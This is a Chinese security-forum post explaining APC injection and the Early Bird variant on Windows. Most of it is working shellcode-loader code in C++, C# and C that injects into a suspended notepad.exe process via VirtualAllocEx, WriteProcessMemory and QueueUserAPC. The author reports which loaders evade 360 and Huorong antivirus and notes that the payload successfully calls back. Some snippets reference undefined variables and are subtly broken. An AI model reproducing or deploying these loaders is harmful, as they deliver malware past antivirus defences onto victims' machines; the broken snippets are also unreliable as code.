标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-3071] 作者: 州官 发表于: [2022-04-11]
本文共 [562] 位读者顶过
前言:本文以最新版360作为测试,如果有错漏之处,还请师傅们指正。 APC介绍APC中文名称为异步过程调用, APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。 所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。 APC注入的一些前置如下:
MSDN上对此解释如下[出自:jiwo.org] APCproc: 函数作用: 回调函数的写法. 首先异步函数调用的原理: 异步过程调用是一种能在特定线程环境中异步执行的系统机制。 往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC APC 注入简单原理1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断 2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数 3.我们利用QueueUserApc,往这个队列中插入一个回调 4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去 注入流程
APC注入实现函数原型 DWORD QueueUserAPC( [in] PAPCFUNC pfnAPC, //APC 注入方式 [in] HANDLE hThread, [in] ULONG_PTR dwData );
C++ 实现代码如下 #include <Windows.h> #include <iostream> unsigned char shellcode[] = "<shellcode>"; //shellcode "\xfc\x48\x83\xe4" int main() { LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe"; //path SIZE_T buff = sizeof(shellcode); //size of shellcode STARTUPINFOA sInfo = { 0 }; PROCESS_INFORMATION pInfo = { 0 }; //return a new process info CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo); //create a new thread for process HANDLE hProc = pInfo.hProcess; HANDLE hThread = pInfo.hThread; // write shellcode to the process memory LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress; WriteProcessMemory(hProc, lpvShellAddress, shellcode, buff, NULL); // use QueueUserAPC load shellcode QueueUserAPC((PAPCFUNC)ptApcRoutine, hThread, NULL); ResumeThread(hThread); return 0; }
C#实现代码如下 using System; using System.Runtime.InteropServices; public class shellcode { [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)] public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern uint ResumeThread(IntPtr hThread); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)] public static extern bool CloseHandle(IntPtr hObject); [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation); public enum ProcessAccessRights { All = 0x001F0FFF, Terminate = 0x00000001, CreateThread = 0x00000002, VirtualMemoryOperation = 0x00000008, VirtualMemoryRead = 0x00000010, VirtualMemoryWrite = 0x00000020, DuplicateHandle = 0x00000040, CreateProcess = 0x000000080, SetQuota = 0x00000100, SetInformation = 0x00000200, QueryInformation = 0x00000400, QueryLimitedInformation = 0x00001000, Synchronize = 0x00100000 } public enum ThreadAccess : int { TERMINATE = (0x0001), SUSPEND_RESUME = (0x0002), GET_CONTEXT = (0x0008), SET_CONTEXT = (0x0010), SET_INFORMATION = (0x0020), QUERY_INFORMATION = (0x0040), SET_THREAD_TOKEN = (0x0080), IMPERSONATE = (0x0100), DIRECT_IMPERSONATION = (0x0200), THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT, THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION } public enum MemAllocation { MEM_COMMIT = 0x00001000, MEM_RESERVE = 0x00002000, MEM_RESET = 0x00080000, MEM_RESET_UNDO = 0x1000000, SecCommit = 0x08000000 } public enum MemProtect { PAGE_EXECUTE = 0x10, PAGE_EXECUTE_READ = 0x20, PAGE_EXECUTE_READWRITE = 0x40, PAGE_EXECUTE_WRITECOPY = 0x80, PAGE_NOACCESS = 0x01, PAGE_READONLY = 0x02, PAGE_READWRITE = 0x04, PAGE_WRITECOPY = 0x08, PAGE_TARGETS_INVALID = 0x40000000, PAGE_TARGETS_NO_UPDATE = 0x40000000, } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential)] internal struct PROCESS_BASIC_INFORMATION { public IntPtr Reserved1; public IntPtr PebAddress; public IntPtr Reserved2; public IntPtr Reserved3; public IntPtr UniquePid; public IntPtr MoreReserved; } [StructLayout(LayoutKind.Sequential)] //internal struct STARTUPINFO public struct STARTUPINFO { uint cb; IntPtr lpReserved; IntPtr lpDesktop; IntPtr lpTitle; uint dwX; uint dwY; uint dwXSize; uint dwYSize; uint dwXCountChars; uint dwYCountChars; uint dwFillAttributes; public uint dwFlags; public ushort wShowWindow; ushort cbReserved; IntPtr lpReserved2; IntPtr hStdInput; IntPtr hStdOutput; IntPtr hStdErr; } public static PROCESS_INFORMATION StartProcess(string binaryPath) { uint flags = 0x00000004; STARTUPINFO startInfo = new STARTUPINFO(); PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION(); CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo); return procInfo; } public TestClass() { string b64 = "<shellcode>"; //shellcode base64 encode string targetprocess = "C:/Windows/System32/notepad.exe"; byte[] shellcode = new byte[] { }; shellcode = Convert.FromBase64String(b64); uint lpNumberOfBytesWritten = 0; PROCESS_INFORMATION processInfo = StartProcess(targetprocess); IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)processInfo.dwProcessId); //write shellcode to the process memory IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE); if (WriteProcessMemory(pHandle, rMemAddress, shellcode, (uint)shellcode.Length, ref lpNumberOfBytesWritten)) { IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)processInfo.dwThreadId); IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero); ResumeThread(tHandle); } bool hOpenProcessClose = CloseHandle(pHandle); } }
这里测试过了火绒但是没过360 C实现代码如下 #include <windows.h> #include <stdio.h> unsigned char shellcode[] = <shellcode>; //shellcode {0xfc,0x48,0x83} unsigned int buff = sizeof(shellcode); int main(void) { STARTUPINFO si; PROCESS_INFORMATION pi; void * ptApcRoutine; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi); ptApcRoutine = VirtualAllocEx(pi.hProcess, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READ); WriteProcessMemory(pi.hProcess, ptApcRoutine, (PVOID) shellcode, (SIZE_T) buff, (SIZE_T *) NULL); QueueUserAPC((PAPCFUNC)ptApcRoutine, pi.hThread, NULL); ResumeThread(pi.hThread); return 0; }
这里被360杀了,但是加载是能上线的。 APC 注入变种 Early birdEarly Bird是一种简单而强大的技术,Early Bird本质上是一种APC注入与线程劫持的变体,由于线程初始化时会调用ntdll未导出函数NtTestAlert,NtTestAlert是一个检查当前线程的 APC 队列的函数,如果有任何排队作业,它会清空队列。当线程启动时,NtTestAlert会在执行任何操作之前被调用。因此,如果在线程的开始状态下对APC进行操作,就可以完美的执行shellcode。(如果要将shellcode注入本地进程,则可以APC到当前线程并调用NtTestAlert函数来执行) 通常使用的 Windows 函数包括:
Early bird注入流程
Early bird注入实现C实现代码如下 #include <Windows.h> int main() { unsigned char shellcode[] = "<shellcode>"; //shellcode "\xfc\x48\x83\xe4" SIZE_T shellSz = sizeof(buff); STARTUPINFOA st = { 0 }; PROCESS_INFORMATION prt = { 0 }; CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &prt); HANDLE victimProcess = prt.hProcess; HANDLE threadHandle = prt.hThread; LPVOID shellAddr = VirtualAllocEx(victimProcess, NULL, shellSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddr; WriteProcessMemory(victimProcess, shellAddr, buff, shellSz, NULL); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); ResumeThread(threadHandle); return 0; }
C++实现代码如下 #include <Windows.h> int main() { unsigned char shellcode[] = "<shellcode>"; //"\xfc\x48\x83\xe4" SIZE_T shellSize = sizeof(buf); STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); HANDLE victimProcess = pi.hProcess; HANDLE threadHandle = pi.hThread; LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); ResumeThread(threadHandle); return 0; }
Go实现
参考项目:https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/EarlyBird 参考
https://docs.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc?redirectedfrom=MSDN |